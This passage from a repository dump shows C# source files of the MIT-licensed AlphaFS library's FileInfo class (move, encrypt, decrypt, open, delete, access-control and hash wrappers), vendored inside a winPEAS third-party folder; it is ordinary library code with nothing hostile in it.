CopyToMoveToCore(destinationPath, null, moveOptions, false, progressHandler, userProgressData, out destinationPathLp, PathFormat.RelativePath); UpdateDestinationPath(destinationPath, destinationPathLp); return cmr; } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name, can be specified. /// A class with the status of the Move action. /// /// Use this method to allow or prevent overwriting of an existing file. /// This method works across disk volumes. /// For example, the file c:\MyFile.txt can be moved to d:\public and renamed NewFile.txt. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The path to move the file to, which can specify a different file name. /// that specify how the directory is to be moved. This parameter can be null. /// A callback function that is called each time another portion of the directory has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public CopyMoveResult MoveTo(string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { // Reject DelayUntilReboot. if ((moveOptions & MoveOptions.DelayUntilReboot) != 0) throw new ArgumentException("The DelayUntilReboot flag is invalid for this method.", "moveOptions"); string destinationPathLp; var cmr = CopyToMoveToCore(destinationPath, null, moveOptions, false, progressHandler, userProgressData, out destinationPathLp, pathFormat); UpdateDestinationPath(destinationPath, destinationPathLp); return cmr; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo Encryption/FileInfo.Decrypt.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { #region .NET /// Decrypts a file that was encrypted by the current account using the Encrypt method. [SecurityCritical] public void Decrypt() { File.EncryptDecryptFileCore(false, LongFullName, false, PathFormat.LongFullPath); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo Encryption/FileInfo.Encrypt.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { #region .NET /// Encrypts a file so that only the account used to encrypt the file can decrypt it. [SecurityCritical] public void Encrypt() { File.EncryptDecryptFileCore(false, LongFullName, true, PathFormat.LongFullPath); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.AppendText.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { #region .NET /// Creates a that appends text to the file represented by this instance of the . /// A new [SecurityCritical] public StreamWriter AppendText() { return File.AppendTextCore(Transaction, LongFullName, NativeMethods.DefaultFileEncoding, PathFormat.LongFullPath); } /// Creates a that appends text to the file represented by this instance of the . /// The character to use. /// A new [SecurityCritical] public StreamWriter AppendText(Encoding encoding) { return File.AppendTextCore(Transaction, LongFullName, encoding, PathFormat.LongFullPath); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.Create.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { #region .NET /// Creates a file. /// A new file. [SecurityCritical] public FileStream Create() { return File.CreateFileStreamCore(Transaction, LongFullName, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, NativeMethods.DefaultFileBufferSize, PathFormat.LongFullPath); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.CreateText.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { #region .NET /// Creates a instance that writes a new text file. /// A new [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public StreamWriter CreateText() { return new StreamWriter(File.CreateFileStreamCore(Transaction, LongFullName, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, NativeMethods.DefaultFileBufferSize, PathFormat.LongFullPath), NativeMethods.DefaultFileEncoding); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.Delete.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { #region .NET /// Permanently deletes a file. /// If the file does not exist, this method does nothing. /// public override void Delete() { File.DeleteFileCore(Transaction, LongFullName, false, Attributes, PathFormat.LongFullPath); } #endregion // .NET /// [AlphaFS] Permanently deletes a file. /// If the file does not exist, this method does nothing. /// /// true overrides the read only of the file. public void Delete(bool ignoreReadOnly) { File.DeleteFileCore(Transaction, LongFullName, ignoreReadOnly, Attributes, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.EnumerateAlternateDataStreams.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Collections.Generic; using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { /// [AlphaFS] Returns an enumerable collection of instances for the file. /// An enumerable collection of instances for the file. [SecurityCritical] public IEnumerable EnumerateAlternateDataStreams() { return File.EnumerateAlternateDataStreamsCore(Transaction, false, LongFullName, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.GetAccessControl.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { #region .NET /// Gets a object that encapsulates the access control list (ACL) entries for the file described by the current object. /// A FileSecurity object that encapsulates the access control rules for the current file. [SecurityCritical] public FileSecurity GetAccessControl() { return File.GetAccessControlCore(false, LongFullName, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, PathFormat.LongFullPath); } /// Gets a object that encapsulates the specified type of access control list (ACL) entries for the file described by the current FileInfo object. /// object that encapsulates the specified type of access control list (ACL) entries for the file described by the current FileInfo object. /// One of the values that specifies which group of access control entries to retrieve. [SecurityCritical] public FileSecurity GetAccessControl(AccessControlSections includeSections) { return File.GetAccessControlCore(false, LongFullName, includeSections, PathFormat.LongFullPath); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.GetFileIdInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { /// [AlphaFS] Gets the unique identifier for the file. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier. /// A instance containing the requested information. /// File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time. [SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate")] [SecurityCritical] public FileIdInfo GetFileIdInfo() { return File.GetFileIdInfoCore(Transaction, false, LongFullName, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.GetHash.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Alphaleonis.Win32.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { /// [AlphaFS] Calculates the hash/checksum. /// One of the values. /// The hash/checksum of the file represented by this . public string GetHash(HashType hashType) { return File.GetHashCore(Transaction, LongFullName, hashType, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.IsLocked.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { /// [AlphaFS] Compresses a file using NTFS compression. /// Returns true if the specified file is in use (locked); otherwise, false [SecurityCritical] public bool IsLocked() { return File.IsLockedCore(Transaction, LongFullName, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.Open.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { #region .NET /// Opens a file in the specified mode. /// A file opened in the specified mode, with read/write access and unshared. /// A constant specifying the mode (for example, Open or Append) in which to open the file. [SecurityCritical] public FileStream Open(FileMode mode) { return File.OpenCore(Transaction, LongFullName, mode, FileAccess.Read, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath); } /// Opens a file in the specified mode with read, write, or read/write access. /// A object opened in the specified mode and access, and unshared. /// A constant specifying the mode (for example, Open or Append) in which to open the file. /// A constant specifying whether to open the file with Read, Write, or ReadWrite file access. [SecurityCritical] public FileStream Open(FileMode mode, FileAccess access) { return File.OpenCore(Transaction, LongFullName, mode, access, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath); } /// Opens a file in the specified mode with read, write, or read/write access and the specified sharing option. /// A object opened with the specified mode, access, and sharing options. /// A constant specifying the mode (for example, Open or Append) in which to open the file. /// A constant specifying whether to open the file with Read, Write, or ReadWrite file access. /// A constant specifying the type of access other objects have to this file. [SecurityCritical] public FileStream Open(FileMode mode, FileAccess access, FileShare share) { return File.OpenCore(Transaction, LongFullName, mode, access, share, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath); } #endregion // .NET /// [AlphaFS] Opens a file in the specified mode with read, write, or read/write access. /// A object opened in the specified mode and access, and unshared. /// A constant specifying the mode (for example, Open or Append) in which to open the file. /// A value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten along with additional options. [SecurityCritical] public FileStream Open(FileMode mode, FileSystemRights rights) { return File.OpenCore(Transaction, LongFullName, mode, rights, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath); } /// [AlphaFS] Opens a file in the specified mode with read, write, or read/write access and the specified sharing option. /// A object opened with the specified mode, access, and sharing options. /// A constant specifying the mode (for example, Open or Append) in which to open the file. /// A value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten along with additional options. /// A constant specifying the type of access other objects have to this file. [SecurityCritical] public FileStream Open(FileMode mode, FileSystemRights rights, FileShare share) { return File.OpenCore(Transaction, LongFullName, mode, rights, share, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.OpenRead.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { /// Creates a read-only . /// A new read-only object. /// This method returns a read-only object with the mode set to Read. [SecurityCritical] public FileStream OpenRead() { return File.OpenCore(Transaction, LongFullName, FileMode.Open, FileAccess.Read, FileShare.Read, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.OpenText.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { /// Creates a with NativeMethods.DefaultFileEncoding encoding that reads from an existing text file. /// A new with NativeMethods.DefaultFileEncoding encoding. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public StreamReader OpenText() { return new StreamReader(File.OpenCore(Transaction, LongFullName, FileMode.Open, FileAccess.Read, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath), NativeMethods.DefaultFileEncoding); } /// [AlphaFS] Creates a with that reads from an existing text file. /// A new with the specified . /// The applied to the contents of the file. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] public StreamReader OpenText(Encoding encoding) { return new StreamReader(File.OpenCore(Transaction, LongFullName, FileMode.Open, FileAccess.Read, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath), encoding); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.OpenWrite.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { #region .NET /// Creates a write-only . /// A write-only unshared object for a new or existing file. [SecurityCritical] public FileStream OpenWrite() { return File.OpenCore(Transaction, LongFullName, FileMode.OpenOrCreate, FileAccess.Write, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.RefreshEntryInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { /// [AlphaFS] Refreshes the state of the EntryInfo property. [SecurityCritical] public new void RefreshEntryInfo() { base.RefreshEntryInfo(); } } } ================================================ FILE: 